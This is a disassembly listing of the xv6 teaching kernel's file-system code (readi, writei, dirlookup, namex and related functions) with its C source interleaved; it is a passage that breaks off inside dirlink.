80101907: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
8010190a: 89 1c 24 mov %ebx,(%esp)
8010190d: e8 6e fe ff ff call 80101780 <iunlock>
iput(ip);
80101912: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101915: 83 c4 14 add $0x14,%esp
80101918: 5b pop %ebx
80101919: 5d pop %ebp
iput(ip);
8010191a: e9 a1 fe ff ff jmp 801017c0 <iput>
8010191f: 90 nop
80101920 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101920: 55 push %ebp
80101921: 89 e5 mov %esp,%ebp
80101923: 8b 55 08 mov 0x8(%ebp),%edx
80101926: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101929: 8b 0a mov (%edx),%ecx
8010192b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010192e: 8b 4a 04 mov 0x4(%edx),%ecx
80101931: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101934: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101938: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010193b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010193f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101943: 8b 52 58 mov 0x58(%edx),%edx
80101946: 89 50 10 mov %edx,0x10(%eax)
}
80101949: 5d pop %ebp
8010194a: c3 ret
8010194b: 90 nop
8010194c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101950 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101950: 55 push %ebp
80101951: 89 e5 mov %esp,%ebp
80101953: 57 push %edi
80101954: 56 push %esi
80101955: 53 push %ebx
80101956: 83 ec 2c sub $0x2c,%esp
80101959: 8b 45 0c mov 0xc(%ebp),%eax
8010195c: 8b 7d 08 mov 0x8(%ebp),%edi
8010195f: 8b 75 10 mov 0x10(%ebp),%esi
80101962: 89 45 e0 mov %eax,-0x20(%ebp)
80101965: 8b 45 14 mov 0x14(%ebp),%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101968: 66 83 7f 50 03 cmpw $0x3,0x50(%edi)
{
8010196d: 89 45 e4 mov %eax,-0x1c(%ebp)
if(ip->type == T_DEV){
80101970: 0f 84 aa 00 00 00 je 80101a20 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101976: 8b 47 58 mov 0x58(%edi),%eax
80101979: 39 f0 cmp %esi,%eax
8010197b: 0f 82 c7 00 00 00 jb 80101a48 <readi+0xf8>
80101981: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101984: 89 da mov %ebx,%edx
80101986: 01 f2 add %esi,%edx
80101988: 0f 82 ba 00 00 00 jb 80101a48 <readi+0xf8>
return -1;
if(off + n > ip->size)
n = ip->size - off;
8010198e: 89 c1 mov %eax,%ecx
80101990: 29 f1 sub %esi,%ecx
80101992: 39 d0 cmp %edx,%eax
80101994: 0f 43 cb cmovae %ebx,%ecx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101997: 31 c0 xor %eax,%eax
80101999: 85 c9 test %ecx,%ecx
n = ip->size - off;
8010199b: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010199e: 74 70 je 80101a10 <readi+0xc0>
801019a0: 89 7d d8 mov %edi,-0x28(%ebp)
801019a3: 89 c7 mov %eax,%edi
801019a5: 8d 76 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019a8: 8b 5d d8 mov -0x28(%ebp),%ebx
801019ab: 89 f2 mov %esi,%edx
801019ad: c1 ea 09 shr $0x9,%edx
801019b0: 89 d8 mov %ebx,%eax
801019b2: e8 09 f9 ff ff call 801012c0 <bmap>
801019b7: 89 44 24 04 mov %eax,0x4(%esp)
801019bb: 8b 03 mov (%ebx),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019bd: bb 00 02 00 00 mov $0x200,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019c2: 89 04 24 mov %eax,(%esp)
801019c5: e8 06 e7 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019ca: 8b 4d e4 mov -0x1c(%ebp),%ecx
801019cd: 29 f9 sub %edi,%ecx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019cf: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019d1: 89 f0 mov %esi,%eax
801019d3: 25 ff 01 00 00 and $0x1ff,%eax
801019d8: 29 c3 sub %eax,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019da: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019de: 39 cb cmp %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019e0: 89 44 24 04 mov %eax,0x4(%esp)
801019e4: 8b 45 e0 mov -0x20(%ebp),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019e7: 0f 47 d9 cmova %ecx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019ea: 89 5c 24 08 mov %ebx,0x8(%esp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019ee: 01 df add %ebx,%edi
801019f0: 01 de add %ebx,%esi
memmove(dst, bp->data + off%BSIZE, m);
801019f2: 89 55 dc mov %edx,-0x24(%ebp)
801019f5: 89 04 24 mov %eax,(%esp)
801019f8: e8 13 29 00 00 call 80104310 <memmove>
brelse(bp);
801019fd: 8b 55 dc mov -0x24(%ebp),%edx
80101a00: 89 14 24 mov %edx,(%esp)
80101a03: e8 d8 e7 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a08: 01 5d e0 add %ebx,-0x20(%ebp)
80101a0b: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101a0e: 77 98 ja 801019a8 <readi+0x58>
}
return n;
80101a10: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a13: 83 c4 2c add $0x2c,%esp
80101a16: 5b pop %ebx
80101a17: 5e pop %esi
80101a18: 5f pop %edi
80101a19: 5d pop %ebp
80101a1a: c3 ret
80101a1b: 90 nop
80101a1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a20: 0f bf 47 52 movswl 0x52(%edi),%eax
80101a24: 66 83 f8 09 cmp $0x9,%ax
80101a28: 77 1e ja 80101a48 <readi+0xf8>
80101a2a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax
80101a31: 85 c0 test %eax,%eax
80101a33: 74 13 je 80101a48 <readi+0xf8>
return devsw[ip->major].read(ip, dst, n);
80101a35: 8b 75 e4 mov -0x1c(%ebp),%esi
80101a38: 89 75 10 mov %esi,0x10(%ebp)
}
80101a3b: 83 c4 2c add $0x2c,%esp
80101a3e: 5b pop %ebx
80101a3f: 5e pop %esi
80101a40: 5f pop %edi
80101a41: 5d pop %ebp
return devsw[ip->major].read(ip, dst, n);
80101a42: ff e0 jmp *%eax
80101a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80101a48: b8 ff ff ff ff mov $0xffffffff,%eax
80101a4d: eb c4 jmp 80101a13 <readi+0xc3>
80101a4f: 90 nop
80101a50 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a50: 55 push %ebp
80101a51: 89 e5 mov %esp,%ebp
80101a53: 57 push %edi
80101a54: 56 push %esi
80101a55: 53 push %ebx
80101a56: 83 ec 2c sub $0x2c,%esp
80101a59: 8b 45 08 mov 0x8(%ebp),%eax
80101a5c: 8b 75 0c mov 0xc(%ebp),%esi
80101a5f: 8b 4d 14 mov 0x14(%ebp),%ecx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a62: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
{
80101a67: 89 75 dc mov %esi,-0x24(%ebp)
80101a6a: 8b 75 10 mov 0x10(%ebp),%esi
80101a6d: 89 45 d8 mov %eax,-0x28(%ebp)
80101a70: 89 4d e0 mov %ecx,-0x20(%ebp)
if(ip->type == T_DEV){
80101a73: 0f 84 b7 00 00 00 je 80101b30 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a79: 8b 45 d8 mov -0x28(%ebp),%eax
80101a7c: 39 70 58 cmp %esi,0x58(%eax)
80101a7f: 0f 82 e3 00 00 00 jb 80101b68 <writei+0x118>
80101a85: 8b 4d e0 mov -0x20(%ebp),%ecx
80101a88: 89 c8 mov %ecx,%eax
80101a8a: 01 f0 add %esi,%eax
80101a8c: 0f 82 d6 00 00 00 jb 80101b68 <writei+0x118>
return -1;
if(off + n > MAXFILE*BSIZE)
80101a92: 3d 00 18 01 00 cmp $0x11800,%eax
80101a97: 0f 87 cb 00 00 00 ja 80101b68 <writei+0x118>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101a9d: 85 c9 test %ecx,%ecx
80101a9f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101aa6: 74 77 je 80101b1f <writei+0xcf>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aa8: 8b 7d d8 mov -0x28(%ebp),%edi
80101aab: 89 f2 mov %esi,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101aad: bb 00 02 00 00 mov $0x200,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ab2: c1 ea 09 shr $0x9,%edx
80101ab5: 89 f8 mov %edi,%eax
80101ab7: e8 04 f8 ff ff call 801012c0 <bmap>
80101abc: 89 44 24 04 mov %eax,0x4(%esp)
80101ac0: 8b 07 mov (%edi),%eax
80101ac2: 89 04 24 mov %eax,(%esp)
80101ac5: e8 06 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101aca: 8b 4d e0 mov -0x20(%ebp),%ecx
80101acd: 2b 4d e4 sub -0x1c(%ebp),%ecx
memmove(bp->data + off%BSIZE, src, m);
80101ad0: 8b 55 dc mov -0x24(%ebp),%edx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101ad3: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ad5: 89 f0 mov %esi,%eax
80101ad7: 25 ff 01 00 00 and $0x1ff,%eax
80101adc: 29 c3 sub %eax,%ebx
80101ade: 39 cb cmp %ecx,%ebx
80101ae0: 0f 47 d9 cmova %ecx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101ae3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ae7: 01 de add %ebx,%esi
memmove(bp->data + off%BSIZE, src, m);
80101ae9: 89 54 24 04 mov %edx,0x4(%esp)
80101aed: 89 5c 24 08 mov %ebx,0x8(%esp)
80101af1: 89 04 24 mov %eax,(%esp)
80101af4: e8 17 28 00 00 call 80104310 <memmove>
log_write(bp);
80101af9: 89 3c 24 mov %edi,(%esp)
80101afc: e8 9f 11 00 00 call 80102ca0 <log_write>
brelse(bp);
80101b01: 89 3c 24 mov %edi,(%esp)
80101b04: e8 d7 e6 ff ff call 801001e0 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b09: 01 5d e4 add %ebx,-0x1c(%ebp)
80101b0c: 8b 45 e4 mov -0x1c(%ebp),%eax
80101b0f: 01 5d dc add %ebx,-0x24(%ebp)
80101b12: 39 45 e0 cmp %eax,-0x20(%ebp)
80101b15: 77 91 ja 80101aa8 <writei+0x58>
}
if(n > 0 && off > ip->size){
80101b17: 8b 45 d8 mov -0x28(%ebp),%eax
80101b1a: 39 70 58 cmp %esi,0x58(%eax)
80101b1d: 72 39 jb 80101b58 <writei+0x108>
ip->size = off;
iupdate(ip);
}
return n;
80101b1f: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b22: 83 c4 2c add $0x2c,%esp
80101b25: 5b pop %ebx
80101b26: 5e pop %esi
80101b27: 5f pop %edi
80101b28: 5d pop %ebp
80101b29: c3 ret
80101b2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101b30: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b34: 66 83 f8 09 cmp $0x9,%ax
80101b38: 77 2e ja 80101b68 <writei+0x118>
80101b3a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax
80101b41: 85 c0 test %eax,%eax
80101b43: 74 23 je 80101b68 <writei+0x118>
return devsw[ip->major].write(ip, src, n);
80101b45: 89 4d 10 mov %ecx,0x10(%ebp)
}
80101b48: 83 c4 2c add $0x2c,%esp
80101b4b: 5b pop %ebx
80101b4c: 5e pop %esi
80101b4d: 5f pop %edi
80101b4e: 5d pop %ebp
return devsw[ip->major].write(ip, src, n);
80101b4f: ff e0 jmp *%eax
80101b51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ip->size = off;
80101b58: 8b 45 d8 mov -0x28(%ebp),%eax
80101b5b: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b5e: 89 04 24 mov %eax,(%esp)
80101b61: e8 7a fa ff ff call 801015e0 <iupdate>
80101b66: eb b7 jmp 80101b1f <writei+0xcf>
}
80101b68: 83 c4 2c add $0x2c,%esp
return -1;
80101b6b: b8 ff ff ff ff mov $0xffffffff,%eax
}
80101b70: 5b pop %ebx
80101b71: 5e pop %esi
80101b72: 5f pop %edi
80101b73: 5d pop %ebp
80101b74: c3 ret
80101b75: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b80 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b80: 55 push %ebp
80101b81: 89 e5 mov %esp,%ebp
80101b83: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80101b86: 8b 45 0c mov 0xc(%ebp),%eax
80101b89: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101b90: 00
80101b91: 89 44 24 04 mov %eax,0x4(%esp)
80101b95: 8b 45 08 mov 0x8(%ebp),%eax
80101b98: 89 04 24 mov %eax,(%esp)
80101b9b: e8 f0 27 00 00 call 80104390 <strncmp>
}
80101ba0: c9 leave
80101ba1: c3 ret
80101ba2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101bb0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101bb0: 55 push %ebp
80101bb1: 89 e5 mov %esp,%ebp
80101bb3: 57 push %edi
80101bb4: 56 push %esi
80101bb5: 53 push %ebx
80101bb6: 83 ec 2c sub $0x2c,%esp
80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101bc1: 0f 85 97 00 00 00 jne 80101c5e <dirlookup+0xae>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101bc7: 8b 53 58 mov 0x58(%ebx),%edx
80101bca: 31 ff xor %edi,%edi
80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi
80101bcf: 85 d2 test %edx,%edx
80101bd1: 75 0d jne 80101be0 <dirlookup+0x30>
80101bd3: eb 73 jmp 80101c48 <dirlookup+0x98>
80101bd5: 8d 76 00 lea 0x0(%esi),%esi
80101bd8: 83 c7 10 add $0x10,%edi
80101bdb: 39 7b 58 cmp %edi,0x58(%ebx)
80101bde: 76 68 jbe 80101c48 <dirlookup+0x98>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101be0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101be7: 00
80101be8: 89 7c 24 08 mov %edi,0x8(%esp)
80101bec: 89 74 24 04 mov %esi,0x4(%esp)
80101bf0: 89 1c 24 mov %ebx,(%esp)
80101bf3: e8 58 fd ff ff call 80101950 <readi>
80101bf8: 83 f8 10 cmp $0x10,%eax
80101bfb: 75 55 jne 80101c52 <dirlookup+0xa2>
panic("dirlookup read");
if(de.inum == 0)
80101bfd: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101c02: 74 d4 je 80101bd8 <dirlookup+0x28>
return strncmp(s, t, DIRSIZ);
80101c04: 8d 45 da lea -0x26(%ebp),%eax
80101c07: 89 44 24 04 mov %eax,0x4(%esp)
80101c0b: 8b 45 0c mov 0xc(%ebp),%eax
80101c0e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101c15: 00
80101c16: 89 04 24 mov %eax,(%esp)
80101c19: e8 72 27 00 00 call 80104390 <strncmp>
continue;
if(namecmp(name, de.name) == 0){
80101c1e: 85 c0 test %eax,%eax
80101c20: 75 b6 jne 80101bd8 <dirlookup+0x28>
// entry matches path element
if(poff)
80101c22: 8b 45 10 mov 0x10(%ebp),%eax
80101c25: 85 c0 test %eax,%eax
80101c27: 74 05 je 80101c2e <dirlookup+0x7e>
*poff = off;
80101c29: 8b 45 10 mov 0x10(%ebp),%eax
80101c2c: 89 38 mov %edi,(%eax)
inum = de.inum;
80101c2e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101c32: 8b 03 mov (%ebx),%eax
80101c34: e8 c7 f5 ff ff call 80101200 <iget>
}
}
return 0;
}
80101c39: 83 c4 2c add $0x2c,%esp
80101c3c: 5b pop %ebx
80101c3d: 5e pop %esi
80101c3e: 5f pop %edi
80101c3f: 5d pop %ebp
80101c40: c3 ret
80101c41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c48: 83 c4 2c add $0x2c,%esp
return 0;
80101c4b: 31 c0 xor %eax,%eax
}
80101c4d: 5b pop %ebx
80101c4e: 5e pop %esi
80101c4f: 5f pop %edi
80101c50: 5d pop %ebp
80101c51: c3 ret
panic("dirlookup read");
80101c52: c7 04 24 99 6f 10 80 movl $0x80106f99,(%esp)
80101c59: e8 02 e7 ff ff call 80100360 <panic>
panic("dirlookup not DIR");
80101c5e: c7 04 24 87 6f 10 80 movl $0x80106f87,(%esp)
80101c65: e8 f6 e6 ff ff call 80100360 <panic>
80101c6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101c70 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c70: 55 push %ebp
80101c71: 89 e5 mov %esp,%ebp
80101c73: 57 push %edi
80101c74: 89 cf mov %ecx,%edi
80101c76: 56 push %esi
80101c77: 53 push %ebx
80101c78: 89 c3 mov %eax,%ebx
80101c7a: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c7d: 80 38 2f cmpb $0x2f,(%eax)
{
80101c80: 89 55 e0 mov %edx,-0x20(%ebp)
if(*path == '/')
80101c83: 0f 84 51 01 00 00 je 80101dda <namex+0x16a>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101c89: e8 02 1a 00 00 call 80103690 <myproc>
80101c8e: 8b 70 68 mov 0x68(%eax),%esi
acquire(&icache.lock);
80101c91: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101c98: e8 93 24 00 00 call 80104130 <acquire>
ip->ref++;
80101c9d: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101ca1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101ca8: e8 73 25 00 00 call 80104220 <release>
80101cad: eb 04 jmp 80101cb3 <namex+0x43>
80101caf: 90 nop
path++;
80101cb0: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101cb3: 0f b6 03 movzbl (%ebx),%eax
80101cb6: 3c 2f cmp $0x2f,%al
80101cb8: 74 f6 je 80101cb0 <namex+0x40>
if(*path == 0)
80101cba: 84 c0 test %al,%al
80101cbc: 0f 84 ed 00 00 00 je 80101daf <namex+0x13f>
while(*path != '/' && *path != 0)
80101cc2: 0f b6 03 movzbl (%ebx),%eax
80101cc5: 89 da mov %ebx,%edx
80101cc7: 84 c0 test %al,%al
80101cc9: 0f 84 b1 00 00 00 je 80101d80 <namex+0x110>
80101ccf: 3c 2f cmp $0x2f,%al
80101cd1: 75 0f jne 80101ce2 <namex+0x72>
80101cd3: e9 a8 00 00 00 jmp 80101d80 <namex+0x110>
80101cd8: 3c 2f cmp $0x2f,%al
80101cda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101ce0: 74 0a je 80101cec <namex+0x7c>
path++;
80101ce2: 83 c2 01 add $0x1,%edx
while(*path != '/' && *path != 0)
80101ce5: 0f b6 02 movzbl (%edx),%eax
80101ce8: 84 c0 test %al,%al
80101cea: 75 ec jne 80101cd8 <namex+0x68>
80101cec: 89 d1 mov %edx,%ecx
80101cee: 29 d9 sub %ebx,%ecx
if(len >= DIRSIZ)
80101cf0: 83 f9 0d cmp $0xd,%ecx
80101cf3: 0f 8e 8f 00 00 00 jle 80101d88 <namex+0x118>
memmove(name, s, DIRSIZ);
80101cf9: 89 5c 24 04 mov %ebx,0x4(%esp)
80101cfd: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101d04: 00
80101d05: 89 3c 24 mov %edi,(%esp)
80101d08: 89 55 e4 mov %edx,-0x1c(%ebp)
80101d0b: e8 00 26 00 00 call 80104310 <memmove>
path++;
80101d10: 8b 55 e4 mov -0x1c(%ebp),%edx
80101d13: 89 d3 mov %edx,%ebx
while(*path == '/')
80101d15: 80 3a 2f cmpb $0x2f,(%edx)
80101d18: 75 0e jne 80101d28 <namex+0xb8>
80101d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
80101d20: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101d23: 80 3b 2f cmpb $0x2f,(%ebx)
80101d26: 74 f8 je 80101d20 <namex+0xb0>
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101d28: 89 34 24 mov %esi,(%esp)
80101d2b: e8 70 f9 ff ff call 801016a0 <ilock>
if(ip->type != T_DIR){
80101d30: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d35: 0f 85 85 00 00 00 jne 80101dc0 <namex+0x150>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d3b: 8b 55 e0 mov -0x20(%ebp),%edx
80101d3e: 85 d2 test %edx,%edx
80101d40: 74 09 je 80101d4b <namex+0xdb>
80101d42: 80 3b 00 cmpb $0x0,(%ebx)
80101d45: 0f 84 a5 00 00 00 je 80101df0 <namex+0x180>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101d4b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101d52: 00
80101d53: 89 7c 24 04 mov %edi,0x4(%esp)
80101d57: 89 34 24 mov %esi,(%esp)
80101d5a: e8 51 fe ff ff call 80101bb0 <dirlookup>
80101d5f: 85 c0 test %eax,%eax
80101d61: 74 5d je 80101dc0 <namex+0x150>
iunlock(ip);
80101d63: 89 34 24 mov %esi,(%esp)
80101d66: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d69: e8 12 fa ff ff call 80101780 <iunlock>
iput(ip);
80101d6e: 89 34 24 mov %esi,(%esp)
80101d71: e8 4a fa ff ff call 801017c0 <iput>
iunlockput(ip);
return 0;
}
iunlockput(ip);
ip = next;
80101d76: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d79: 89 c6 mov %eax,%esi
80101d7b: e9 33 ff ff ff jmp 80101cb3 <namex+0x43>
while(*path != '/' && *path != 0)
80101d80: 31 c9 xor %ecx,%ecx
80101d82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
memmove(name, s, len);
80101d88: 89 4c 24 08 mov %ecx,0x8(%esp)
80101d8c: 89 5c 24 04 mov %ebx,0x4(%esp)
80101d90: 89 3c 24 mov %edi,(%esp)
80101d93: 89 55 dc mov %edx,-0x24(%ebp)
80101d96: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d99: e8 72 25 00 00 call 80104310 <memmove>
name[len] = 0;
80101d9e: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101da1: 8b 55 dc mov -0x24(%ebp),%edx
80101da4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101da8: 89 d3 mov %edx,%ebx
80101daa: e9 66 ff ff ff jmp 80101d15 <namex+0xa5>
}
if(nameiparent){
80101daf: 8b 45 e0 mov -0x20(%ebp),%eax
80101db2: 85 c0 test %eax,%eax
80101db4: 75 4c jne 80101e02 <namex+0x192>
80101db6: 89 f0 mov %esi,%eax
iput(ip);
return 0;
}
return ip;
}
80101db8: 83 c4 2c add $0x2c,%esp
80101dbb: 5b pop %ebx
80101dbc: 5e pop %esi
80101dbd: 5f pop %edi
80101dbe: 5d pop %ebp
80101dbf: c3 ret
iunlock(ip);
80101dc0: 89 34 24 mov %esi,(%esp)
80101dc3: e8 b8 f9 ff ff call 80101780 <iunlock>
iput(ip);
80101dc8: 89 34 24 mov %esi,(%esp)
80101dcb: e8 f0 f9 ff ff call 801017c0 <iput>
}
80101dd0: 83 c4 2c add $0x2c,%esp
return 0;
80101dd3: 31 c0 xor %eax,%eax
}
80101dd5: 5b pop %ebx
80101dd6: 5e pop %esi
80101dd7: 5f pop %edi
80101dd8: 5d pop %ebp
80101dd9: c3 ret
ip = iget(ROOTDEV, ROOTINO);
80101dda: ba 01 00 00 00 mov $0x1,%edx
80101ddf: b8 01 00 00 00 mov $0x1,%eax
80101de4: e8 17 f4 ff ff call 80101200 <iget>
80101de9: 89 c6 mov %eax,%esi
80101deb: e9 c3 fe ff ff jmp 80101cb3 <namex+0x43>
iunlock(ip);
80101df0: 89 34 24 mov %esi,(%esp)
80101df3: e8 88 f9 ff ff call 80101780 <iunlock>
}
80101df8: 83 c4 2c add $0x2c,%esp
return ip;
80101dfb: 89 f0 mov %esi,%eax
}
80101dfd: 5b pop %ebx
80101dfe: 5e pop %esi
80101dff: 5f pop %edi
80101e00: 5d pop %ebp
80101e01: c3 ret
iput(ip);
80101e02: 89 34 24 mov %esi,(%esp)
80101e05: e8 b6 f9 ff ff call 801017c0 <iput>
return 0;
80101e0a: 31 c0 xor %eax,%eax
80101e0c: eb aa jmp 80101db8 <namex+0x148>
80101e0e: 66 90 xchg %ax,%ax
80101e10 <dirlink>:
{
80101e10: 55 push %ebp
80101e11: 89 e5 mov %esp,%ebp
80101e13: 57 push %edi
80101e14: 56 push %esi
80101e15: 53 push %ebx
80101e16: 83 ec 2c sub $0x2c,%esp
80101e19: 8b 5d 08 mov 0x8(%ebp),%ebx
if((ip = dirlookup(dp, name, 0)) != 0){
80101e1c: 8b 45 0c mov 0xc(%ebp),%eax
80101e1f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101e26: 00
80101e27: 89 1c 24 mov %ebx,(%esp)
80101e2a: 89 44 24 04 mov %eax,0x4(%esp)
80101e2e: e8 7d fd ff ff call 80101bb0 <dirlookup>
80101e33: 85 c0 test %eax,%eax
80101e35: 0f 85 8b 00 00 00 jne 80101ec6 <dirlink+0xb6>
for(off = 0; off < dp->size; off += sizeof(de)){
80101e3b: 8b 43 58 mov 0x58(%ebx),%eax
80101e3e: 31 ff xor %edi,%edi
80101e40: 8d 75 d8 lea -0x28(%ebp),%esi
80101e43: 85 c0 test %eax,%eax
80101e45: 75 13 jne 80101e5a <dirlink+0x4a>
80101e47: eb 35 jmp 80101e7e <dirlink+0x6e>
80101e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101e50: 8d 57 10 lea 0x10(%edi),%edx
80101e53: 39 53 58 cmp %edx,0x58(%ebx)
80101e56: 89 d7 mov %edx,%edi
80101e58: 76 24 jbe 80101e7e <dirlink+0x6e>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e5a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e61: 00
80101e62: 89 7c 24 08 mov %edi,0x8(%esp)
80101e66: 89 74 24 04 mov %esi,0x4(%esp)
80101e6a: 89 1c 24 mov %ebx,(%esp)
80101e6d: e8 de fa ff ff call 80101950 <readi>
80101e72: 83 f8 10 cmp $0x10,%eax
80101e75: 75 5e jne 80101ed5 <dirlink+0xc5>
if(de.inum == 0)
80101e77: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e7c: 75 d2 jne 80101e50 <dirlink+0x40>
strncpy(de.name, name, DIRSIZ);
80101e7e: 8b 45 0c mov 0xc(%ebp),%eax
80101e81: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101e88: 00
80101e89: 89 44 24 04 mov %eax,0x4(%esp)
80101e8d: 8d 45 da lea -0x26(%ebp),%eax
80101e90: 89 04 24 mov %eax,(%esp)
80101e93: e8 68 25 00 00 call 80104400 <strncpy>
de.inum = inum;
